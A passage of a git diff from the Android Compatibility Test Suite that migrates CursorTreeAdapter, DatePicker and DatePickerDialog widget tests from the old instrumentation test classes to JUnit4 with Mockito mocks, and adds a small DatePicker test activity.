     @UiThreadTest
+    @Test
     public void testAccessFilterQueryProvider() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, mCursor);
         FilterQueryProvider filterProvider = new MockFilterQueryProvider();
@@ -312,6 +340,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testRunQueryOnBackgroundThread() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, mCursor);
         final String constraint = "constraint";
@@ -325,14 +354,12 @@
         assertNull(cursorAdapter.runQueryOnBackgroundThread(constraint));
     }
 
+    @Test
     public void testOnContentChanged() throws Throwable {
-        TestThread testThread = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-                mMockCursorAdapter = new MockCursorAdapter(mContext, mCursor);
-            }
-        });
-        testThread.runTest(TEST_TIME_OUT);
+        new TestThread(() -> {
+            Looper.prepare();
+            mMockCursorAdapter = new MockCursorAdapter(mContext, mCursor);
+        }).runTest(TEST_TIME_OUT);
         assertFalse(mMockCursorAdapter.hasContentChanged());
         // insert a new row
         mDatabase.execSQL("INSERT INTO test (number) VALUES ('" + FIRST_NUMBER + "');");
diff --git a/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java b/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java
index 8ef414d..1084805 100644
--- a/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CursorTreeAdapterTest.java
@@ -16,14 +16,27 @@
 
 package android.widget.cts;
 
-import java.io.File;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.content.Context;
 import android.database.Cursor;
 import android.database.DataSetObserver;
 import android.database.sqlite.SQLiteDatabase;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
@@ -32,13 +45,19 @@
 import android.widget.FilterQueryProvider;
 import android.widget.TextView;
 
-import android.widget.cts.R;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.io.File;
 
 /**
  * Test {@link CursorTreeAdapter}.
  */
-public class CursorTreeAdapterTest extends InstrumentationTestCase {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class CursorTreeAdapterTest {
     private static final int NAME_INDEX = 1;
     private static final int VALUE_INDEX = 1;
     private static final String GROUP_ONE         = "group_one";
@@ -92,10 +111,9 @@
         return mDatabase.query("child2", VALUE_PROJECTION, null, null, null, null, null);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         File dbDir = mContext.getDir("tests", Context.MODE_PRIVATE);
         mDatabaseFile = new File(dbDir, "database_test.db");
         if (mDatabaseFile.exists()) {
@@ -118,8 +136,8 @@
         assertNotNull(mParent);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void teardown() {
         if (null != mGroupCursor) {
             mGroupCursor.close();
             mGroupCursor = null;
@@ -136,10 +154,10 @@
         }
         mDatabase.close();
         mDatabaseFile.delete();
-        super.tearDown();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new MockCursorTreeAdapter(mGroupCursor, mContext);
 
@@ -151,6 +169,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetCursor() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         assertSame(mGroupCursor, adapter.getCursor());
@@ -163,6 +182,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetGroupCursor() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         assertSame(mGroupCursor, adapter.getCursor());
@@ -175,6 +195,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetChildrenCursor() {
         MockCursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         assertTrue(mGroupCursor.moveToFirst());
@@ -185,6 +206,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testChangeCursor() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(null, mContext);
         assertNull(adapter.getCursor());
@@ -197,25 +219,26 @@
     }
 
     @UiThreadTest
+    @Test
     public void testNotifyDataSetChangedBoolean() {
         MockCursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
-        MockDataSetObserver observer = new MockDataSetObserver();
-        adapter.registerDataSetObserver(observer);
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
+        adapter.registerDataSetObserver(mockDataSetObserver);
 
         // mChildrenCursorHelpers is empty
-        assertFalse(observer.hasCalledOnChanged());
+        verifyZeroInteractions(mockDataSetObserver);
         adapter.notifyDataSetChanged(false);
-        assertTrue(observer.hasCalledOnChanged());
+        verify(mockDataSetObserver, times(1)).onChanged();
 
         // add group 0 into mChildrenCursorHelpers
         adapter.getChild(0, 0);
         // add group 1 into mChildrenCursorHelpers
         adapter.getChild(1, 0);
-        observer.reset();
-        assertFalse(observer.hasCalledOnChanged());
+        reset(mockDataSetObserver);
+        verifyZeroInteractions(mockDataSetObserver);
 
         adapter.notifyDataSetChanged(true);
-        assertTrue(observer.hasCalledOnChanged());
+        verify(mockDataSetObserver, times(1)).onChanged();
         adapter.reset();
         adapter.getChild(0, 0);
         assertTrue(adapter.hasAddedChild1IntoCache());
@@ -223,11 +246,11 @@
         assertTrue(adapter.hasAddedChild2IntoCache());
 
         // both group 0 and group 1 are in mChildrenCursorHelpers
-        observer.reset();
-        assertFalse(observer.hasCalledOnChanged());
+        reset(mockDataSetObserver);
+        verifyZeroInteractions(mockDataSetObserver);
         // does not release cursors
         adapter.notifyDataSetChanged(false);
-        assertTrue(observer.hasCalledOnChanged());
+        verify(mockDataSetObserver, times(1)).onChanged();
         adapter.reset();
         adapter.getChild(0, 0);
         assertFalse(adapter.hasAddedChild1IntoCache());
@@ -236,24 +259,25 @@
     }
 
     @UiThreadTest
+    @Test
     public void testNotifyDataSetChanged() {
         MockCursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
-        MockDataSetObserver observer = new MockDataSetObserver();
-        adapter.registerDataSetObserver(observer);
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
+        adapter.registerDataSetObserver(mockDataSetObserver);
 
         // mChildrenCursorHelpers is empty
-        assertFalse(observer.hasCalledOnChanged());
+        verifyZeroInteractions(mockDataSetObserver);
         adapter.notifyDataSetChanged();
-        assertTrue(observer.hasCalledOnChanged());
+        verify(mockDataSetObserver, times(1)).onChanged();
 
         // add group 0 into mChildrenCursorHelpers
         adapter.getChild(0, 0);
         // add group 1 into mChildrenCursorHelpers
         adapter.getChild(1, 0);
-        observer.reset();
-        assertFalse(observer.hasCalledOnChanged());
+        reset(mockDataSetObserver);
+        verifyZeroInteractions(mockDataSetObserver);
         adapter.notifyDataSetChanged();
-        assertTrue(observer.hasCalledOnChanged());
+        verify(mockDataSetObserver, times(1)).onChanged();
         adapter.reset();
         adapter.getChild(0, 0);
         assertTrue(adapter.hasAddedChild1IntoCache());
@@ -262,24 +286,25 @@
     }
 
     @UiThreadTest
+    @Test
     public void testNotifyDataSetInvalidated() {
         MockCursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
-        MockDataSetObserver observer = new MockDataSetObserver();
-        adapter.registerDataSetObserver(observer);
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
+        adapter.registerDataSetObserver(mockDataSetObserver);
 
-        assertFalse(observer.hasCalledOnInvalidated());
+        verifyZeroInteractions(mockDataSetObserver);
         // mChildrenCursorHelpers is empty
         adapter.notifyDataSetInvalidated();
-        assertTrue(observer.hasCalledOnInvalidated());
+        verify(mockDataSetObserver, times(1)).onInvalidated();
 
         // add group 0 into mChildrenCursorHelpers
         adapter.getChild(0, 0);
         // add group 1 into mChildrenCursorHelpers
         adapter.getChild(1, 0);
-        observer.reset();
-        assertFalse(observer.hasCalledOnInvalidated());
+        reset(mockDataSetObserver);
+        verifyZeroInteractions(mockDataSetObserver);
         adapter.notifyDataSetInvalidated();
-        assertTrue(observer.hasCalledOnInvalidated());
+        verify(mockDataSetObserver, times(1)).onInvalidated();
         adapter.reset();
         adapter.getChild(0, 0);
         assertTrue(adapter.hasAddedChild1IntoCache());
@@ -288,6 +313,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnGroupCollapsed() {
         MockCursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
 
@@ -326,6 +352,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testHasStableIds() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         assertTrue(adapter.hasStableIds());
@@ -335,6 +362,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testIsChildSelectable() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         assertTrue(adapter.isChildSelectable(0, 0));
@@ -345,6 +373,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testConvertToString() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         assertEquals("", adapter.convertToString(null));
@@ -353,6 +382,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetFilter() {
         MockCursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         Filter filter = adapter.getFilter();
@@ -365,6 +395,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessQueryProvider() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         FilterQueryProvider filterProvider = new MockFilterQueryProvider();
@@ -377,6 +408,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testRunQueryOnBackgroundThread() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         final String constraint = "constraint";
@@ -391,6 +423,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetGroup() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(null, mContext);
 
@@ -411,6 +444,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetGroupCount() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         assertEquals(mGroupCursor.getCount(), adapter.getGroupCount());
@@ -420,6 +454,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetGroupId() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(null, mContext);
 
@@ -436,6 +471,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetGroupView() {
         final String expectedStr = "getGroupView test";
         TextView retView;
@@ -472,6 +508,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetChild() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(mGroupCursor, mContext);
         assertEquals(2, adapter.getGroupCount());
@@ -500,6 +537,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetChildId() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(null, mContext);
 
@@ -529,6 +567,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetChildrenCount() {
         CursorTreeAdapter adapter = new MockCursorTreeAdapter(null, mContext);
 
@@ -545,6 +584,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetChildView() {
         final String expectedStr = "getChildView test";
         TextView retView;
@@ -707,34 +747,4 @@
             return null;
         }
     }
-
-    private final class MockDataSetObserver extends DataSetObserver {
-        private boolean mHasCalledOnChanged = false;
-        private boolean mHasCalledOnInvalidated = false;
-
-        @Override
-        public void onChanged() {
-            super.onChanged();
-            mHasCalledOnChanged = true;
-        }
-
-        @Override
-        public void onInvalidated() {
-            super.onInvalidated();
-            mHasCalledOnInvalidated = true;
-        }
-
-        public boolean hasCalledOnChanged() {
-            return mHasCalledOnChanged;
-        }
-
-        public boolean hasCalledOnInvalidated() {
-            return mHasCalledOnInvalidated;
-        }
-
-        public void reset() {
-            mHasCalledOnChanged = false;
-            mHasCalledOnInvalidated = false;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerCtsActivity.java b/tests/tests/widget/src/android/widget/cts/DatePickerCtsActivity.java
new file mode 100644
index 0000000..81e6e69
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.DatePicker;
+
+/**
+ * A minimal application for {@link DatePicker} test.
+ */
+public class DatePickerCtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.datepicker_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java b/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java
index 74d0ff5..c0aa95dc 100644
--- a/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerDialogTest.java
@@ -16,85 +16,73 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.DatePickerDialog;
-import android.content.Context;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.widget.DatePicker;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link DatePickerDialog}.
  */
-public class DatePickerDialogTest extends
-        ActivityInstrumentationTestCase2<DatePickerDialogCtsActivity> {
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class DatePickerDialogTest {
     private Activity mActivity;
 
-    public DatePickerDialogTest() {
-        super(DatePickerDialogCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<DatePickerDialogCtsActivity> mActivityRule =
+            new ActivityTestRule<>(DatePickerDialogCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
     @UiThreadTest
-    @SuppressWarnings("deprecation")
+    @Test
     public void testConstructor() {
         new DatePickerDialog(mActivity, null, 1970, 1, 1);
 
         new DatePickerDialog(mActivity, AlertDialog.THEME_TRADITIONAL, null, 1970, 1, 1);
 
-        // Ensure the picker is shown using the Holo-style layout.
-        DatePickerDialog holoDialog = new DatePickerDialog(mActivity, AlertDialog.THEME_HOLO_DARK,
-                null, 1970, 1, 1);
-        assertEquals(DatePicker.MODE_SPINNER, holoDialog.getDatePicker().getMode());
-
-        // Ensure the picker is shown using the Material-style layout where available.
-        DatePickerDialog holoCalendarDialog = new DatePickerDialog(mActivity,
-                R.style.Theme_Holo_With_Material_Pickers, null, 1970, 1, 1);
-        final int expectedMode = mActivity.getResources().getInteger(R.integer.date_picker_mode);
-        assertEquals(expectedMode, holoCalendarDialog.getDatePicker().getMode());
+        new DatePickerDialog(mActivity, AlertDialog.THEME_HOLO_DARK, null, 1970, 1, 1);
 
         new DatePickerDialog(mActivity,
                 android.R.style.Theme_Material_Dialog_Alert, null, 1970, 1, 1);
-
-        try {
-            new DatePickerDialog(null, null, 1970, 1, 1);
-            fail("should throw NullPointerException");
-        } catch (Exception e) {
-        }
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext() {
+        new DatePickerDialog(null, null, 1970, 1, 1);
+    }
+
+    @UiThreadTest
+    @Test
     public void testShowDismiss() {
-        DatePickerDialog d = createDatePickerDialog();
+        final DatePickerDialog datePickerDialog = new DatePickerDialog(mActivity, null, 1970, 1, 1);
 
-        d.show();
-        assertTrue("Showing date picker", d.isShowing());
+        datePickerDialog.show();
+        assertTrue("Showing date picker", datePickerDialog.isShowing());
 
-        d.show();
-        assertTrue("Date picker still showing", d.isShowing());
+        datePickerDialog.show();
+        assertTrue("Date picker still showing", datePickerDialog.isShowing());
 
-        d.dismiss();
-        assertFalse("Dismissed date picker", d.isShowing());
+        datePickerDialog.dismiss();
+        assertFalse("Dismissed date picker", datePickerDialog.isShowing());
 
-        d.dismiss();
-        assertFalse("Date picker still dismissed", d.isShowing());
-    }
-
-    private MockDatePickerDialog createDatePickerDialog() {
-        return new MockDatePickerDialog(mActivity, null, 1970, 1, 1);
-    }
-
-    private class MockDatePickerDialog extends DatePickerDialog {
-        public MockDatePickerDialog(Context context, OnDateSetListener callBack,
-                int year, int monthOfYear, int dayOfMonth) {
-            super(context, callBack, year, monthOfYear, dayOfMonth);
-        }
+        datePickerDialog.dismiss();
+        assertFalse("Date picker still dismissed", datePickerDialog.isShowing());
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
index c48f684..a45ac2b 100644
--- a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
@@ -16,92 +16,164 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.anyInt;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
+import android.app.Activity;
 import android.content.Context;
-import android.content.res.XmlResourceParser;
 import android.os.Parcelable;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
-import android.util.AttributeSet;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseArray;
-import android.util.Xml;
 import android.view.View;
 import android.widget.DatePicker;
-import android.widget.cts.util.XmlUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Calendar;
+import java.util.GregorianCalendar;
 
 /**
  * Test {@link DatePicker}.
  */
-public class DatePickerTest extends InstrumentationTestCase {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class DatePickerTest {
+    private Activity mActivity;
+    private DatePicker mDatePickerSpinnerMode;
+    private DatePicker mDatePickerCalendarMode;
 
-    private Context mContext;
+    @Rule
+    public ActivityTestRule<DatePickerCtsActivity> mActivityRule =
+            new ActivityTestRule<>(DatePickerCtsActivity.class);
 
-    @Override
+    @Before
     public void setUp() {
-        mContext = getInstrumentation().getTargetContext();
+        mActivity = mActivityRule.getActivity();
+        mDatePickerSpinnerMode = (DatePicker) mActivity.findViewById(R.id.date_picker_spinner_mode);
+        mDatePickerCalendarMode =
+                (DatePicker) mActivity.findViewById(R.id.date_picker_calendar_mode);
     }
 
-    @UiThreadTest
+    @Test
     public void testConstructor() {
-        new DatePicker(mContext);
+        new DatePicker(mActivity);
 
-        new DatePicker(mContext, null);
+        new DatePicker(mActivity, null);
 
-        new DatePicker(mContext, getAttributeSet(R.layout.datepicker_layout));
+        new DatePicker(mActivity, null, android.R.attr.datePickerStyle);
 
-        new DatePicker(mContext, getAttributeSet(R.layout.datepicker_layout), 0);
+        new DatePicker(mActivity, null, 0, android.R.style.Widget_DeviceDefault_DatePicker);
 
-        // Test constructor with null Context, in fact, previous two functions will finally invoke
-        // this version.
-        try {
-            // Test with null Context
-            new DatePicker(null, getAttributeSet(R.layout.datepicker_layout), 0);
-            fail("should throw NullPointerException");
-        } catch (Exception e) {
-        }
+        new DatePicker(mActivity, null, 0, android.R.style.Widget_Material_DatePicker);
+
+        new DatePicker(mActivity, null, 0, android.R.style.Widget_Material_Light_DatePicker);
     }
 
     @UiThreadTest
+    @Test
     public void testSetEnabled() {
-        MockDatePicker datePicker = createDatePicker();
+        assertTrue(mDatePickerCalendarMode.isEnabled());
 
-        assertTrue(datePicker.isEnabled());
+        mDatePickerCalendarMode.setEnabled(false);
+        assertFalse(mDatePickerCalendarMode.isEnabled());
 
-        datePicker.setEnabled(false);
-        assertFalse(datePicker.isEnabled());
+        mDatePickerCalendarMode.setEnabled(true);
+        assertTrue(mDatePickerCalendarMode.isEnabled());
+    }
 
-        datePicker.setEnabled(true);
-        assertTrue(datePicker.isEnabled());
+    private void verifyInit(DatePicker datePicker) {
+        final DatePicker.OnDateChangedListener mockDateChangeListener =
+                mock(DatePicker.OnDateChangedListener.class);
+
+        datePicker.init(2000, 10, 15, mockDateChangeListener);
+        assertEquals(2000, datePicker.getYear());
+        assertEquals(10, datePicker.getMonth());
+        assertEquals(15, datePicker.getDayOfMonth());
+
+        verifyZeroInteractions(mockDateChangeListener);
     }
 
     @UiThreadTest
+    @Test
     public void testInit() {
-        MockOnDateChangedListener onDateChangedListener = new MockOnDateChangedListener();
-        DatePicker datePicker = createDatePicker();
+        verifyInit(mDatePickerSpinnerMode);
+        verifyInit(mDatePickerCalendarMode);
+    }
 
-        /* The month display uses 1-12 but our internal state stores it
-         * 0-11 so add one when setting the display.
-         */
-        datePicker.init(2000, 10, 15, onDateChangedListener);
+    private void verifyAccessDate(DatePicker datePicker) {
+        final DatePicker.OnDateChangedListener mockDateChangeListener =
+                mock(DatePicker.OnDateChangedListener.class);
+
+        datePicker.init(2000, 10, 15, mockDateChangeListener);
         assertEquals(2000, datePicker.getYear());
         assertEquals(10, datePicker.getMonth());
         assertEquals(15, datePicker.getDayOfMonth());
+        verify(mockDateChangeListener, never()).onDateChanged(any(DatePicker.class), anyInt(),
+                anyInt(), anyInt());
+
+        datePicker.updateDate(1989, 9, 19);
+        assertEquals(1989, datePicker.getYear());
+        assertEquals(9, datePicker.getMonth());
+        assertEquals(19, datePicker.getDayOfMonth());
+        verify(mockDateChangeListener, times(1)).onDateChanged(datePicker, 1989, 9, 19);
+
+        verifyNoMoreInteractions(mockDateChangeListener);
     }
 
     @UiThreadTest
+    @Test
     public void testAccessDate() {
-        DatePicker datePicker = createDatePicker();
+        verifyAccessDate(mDatePickerSpinnerMode);
+        verifyAccessDate(mDatePickerCalendarMode);
+    }
 
-        /* The month display uses 1-12 but our internal state stores it
-         * 0-11 so add one when setting the display.
-         */
-        MockOnDateChangedListener onDateChangedListener = new MockOnDateChangedListener();
-        datePicker.init(2000, 10, 15, onDateChangedListener);
+    private void verifySetOnDateChangedListener(DatePicker datePicker) {
+        final DatePicker.OnDateChangedListener mockDateChangeListener1 =
+                mock(DatePicker.OnDateChangedListener.class);
+        final DatePicker.OnDateChangedListener mockDateChangeListener2 =
+                mock(DatePicker.OnDateChangedListener.class);
+
+        datePicker.init(2000, 10, 15, mockDateChangeListener1);
+        datePicker.updateDate(1989, 9, 19);
+        assertEquals(1989, datePicker.getYear());
+        assertEquals(9, datePicker.getMonth());
+        assertEquals(19, datePicker.getDayOfMonth());
+        verify(mockDateChangeListener1, times(1)).onDateChanged(datePicker, 1989, 9, 19);
+        verify(mockDateChangeListener2, times(0)).onDateChanged(datePicker, 1989, 9, 19);
+
+        datePicker.setOnDateChangedListener(mockDateChangeListener2);
+        datePicker.updateDate(2000, 10, 15);
         assertEquals(2000, datePicker.getYear());
         assertEquals(10, datePicker.getMonth());
         assertEquals(15, datePicker.getDayOfMonth());
+        verify(mockDateChangeListener1, times(0)).onDateChanged(datePicker, 2000, 10, 15);
+        verify(mockDateChangeListener2, times(1)).onDateChanged(datePicker, 2000, 10, 15);
+    }
 
+    @UiThreadTest
+    @Test
+    public void testSetOnDateChangedListener() {
+        verifySetOnDateChangedListener(mDatePickerSpinnerMode);
+        verifySetOnDateChangedListener(mDatePickerCalendarMode);
+    }
+
+    private void verifyUpdateDate(DatePicker datePicker) {
         datePicker.updateDate(1989, 9, 19);
         assertEquals(1989, datePicker.getYear());
         assertEquals(9, datePicker.getMonth());
@@ -109,27 +181,108 @@
     }
 
     @UiThreadTest
+    @Test
     public void testUpdateDate() {
-        DatePicker datePicker = createDatePicker();
+        verifyUpdateDate(mDatePickerSpinnerMode);
+        verifyUpdateDate(mDatePickerCalendarMode);
+    }
 
-        // Test normal input values
-        /* The month display uses 1-12 but our internal state stores it
-         * 0-11 so add one when setting the display.
-         */
-        datePicker.updateDate(1989, 9, 19);
-        assertEquals(1989, datePicker.getYear());
-        assertEquals(9, datePicker.getMonth());
-        assertEquals(19, datePicker.getDayOfMonth());
+    private void verifyMinMaxDate(DatePicker datePicker) {
+        // Use a range of minus/plus one year as min/max dates
+        final Calendar minCalendar = new GregorianCalendar();
+        minCalendar.set(Calendar.YEAR, minCalendar.get(Calendar.YEAR) - 1);
+        final Calendar maxCalendar = new GregorianCalendar();
+        maxCalendar.set(Calendar.YEAR, maxCalendar.get(Calendar.YEAR) + 1);
+
+        final long minDate = minCalendar.getTime().getTime();
+        final long maxDate = maxCalendar.getTime().getTime();
+
+        datePicker.setMinDate(minDate);
+        datePicker.setMaxDate(maxDate);
+
+        assertEquals(datePicker.getMinDate(), minDate);
+        assertEquals(datePicker.getMaxDate(), maxDate);
     }
 
     @UiThreadTest
-    public void testOnSaveInstanceState() {
-        MockDatePicker datePicker = createDatePicker();
+    @Test
+    public void testMinMaxDate() {
+        verifyMinMaxDate(mDatePickerSpinnerMode);
+        verifyMinMaxDate(mDatePickerCalendarMode);
+    }
+
+    private void verifyFirstDayOfWeek(DatePicker datePicker) {
+        datePicker.setFirstDayOfWeek(Calendar.TUESDAY);
+        assertEquals(Calendar.TUESDAY, datePicker.getFirstDayOfWeek());
+
+        datePicker.setFirstDayOfWeek(Calendar.SUNDAY);
+        assertEquals(Calendar.SUNDAY, datePicker.getFirstDayOfWeek());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testFirstDayOfWeek() {
+        verifyFirstDayOfWeek(mDatePickerSpinnerMode);
+        verifyFirstDayOfWeek(mDatePickerCalendarMode);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testCalendarViewInSpinnerMode() {
+        assertNotNull(mDatePickerSpinnerMode.getCalendarView());
+
+        // Update the DatePicker and test that its CalendarView is synced to the same date
+        final Calendar calendar = new GregorianCalendar();
+        calendar.set(Calendar.YEAR, 2008);
+        calendar.set(Calendar.MONTH, Calendar.SEPTEMBER);
+        calendar.set(Calendar.DAY_OF_MONTH, 23);
+        mDatePickerSpinnerMode.updateDate(
+                calendar.get(Calendar.YEAR),
+                calendar.get(Calendar.MONTH),
+                calendar.get(Calendar.DAY_OF_MONTH));
+
+        final Calendar calendarFromSpinner = new GregorianCalendar();
+        final long timeFromSpinnerCalendar = mDatePickerSpinnerMode.getCalendarView().getDate();
+        calendarFromSpinner.setTimeInMillis(timeFromSpinnerCalendar);
+
+        assertEquals(calendar.get(Calendar.YEAR), calendarFromSpinner.get(Calendar.YEAR));
+        assertEquals(calendar.get(Calendar.MONTH), calendarFromSpinner.get(Calendar.MONTH));
+        assertEquals(calendar.get(Calendar.DAY_OF_MONTH),
+                calendarFromSpinner.get(Calendar.DAY_OF_MONTH));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPartsVisibilityInSpinnerMode() {
+        assertTrue(mDatePickerSpinnerMode.getSpinnersShown());
+        assertTrue(mDatePickerSpinnerMode.getCalendarViewShown());
+
+        mDatePickerSpinnerMode.setSpinnersShown(false);
+        assertFalse(mDatePickerSpinnerMode.getSpinnersShown());
+        assertTrue(mDatePickerSpinnerMode.getCalendarViewShown());
+
+        mDatePickerSpinnerMode.setCalendarViewShown(false);
+        assertFalse(mDatePickerSpinnerMode.getSpinnersShown());
+        assertFalse(mDatePickerSpinnerMode.getCalendarViewShown());
+
+        mDatePickerSpinnerMode.setSpinnersShown(true);
+        assertTrue(mDatePickerSpinnerMode.getSpinnersShown());
+        assertFalse(mDatePickerSpinnerMode.getCalendarViewShown());
+
+        mDatePickerSpinnerMode.setCalendarViewShown(true);
+        assertTrue(mDatePickerSpinnerMode.getSpinnersShown());
+        assertTrue(mDatePickerSpinnerMode.getCalendarViewShown());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessInstanceState() {
+        MockDatePicker datePicker = new MockDatePicker(mActivity);
 
         datePicker.updateDate(2008, 9, 10);
         SparseArray<Parcelable> container = new SparseArray<Parcelable>();
 
-        // Test onSaveHierarchyState
+        // Test saveHierarchyState -> onSaveInstanceState path
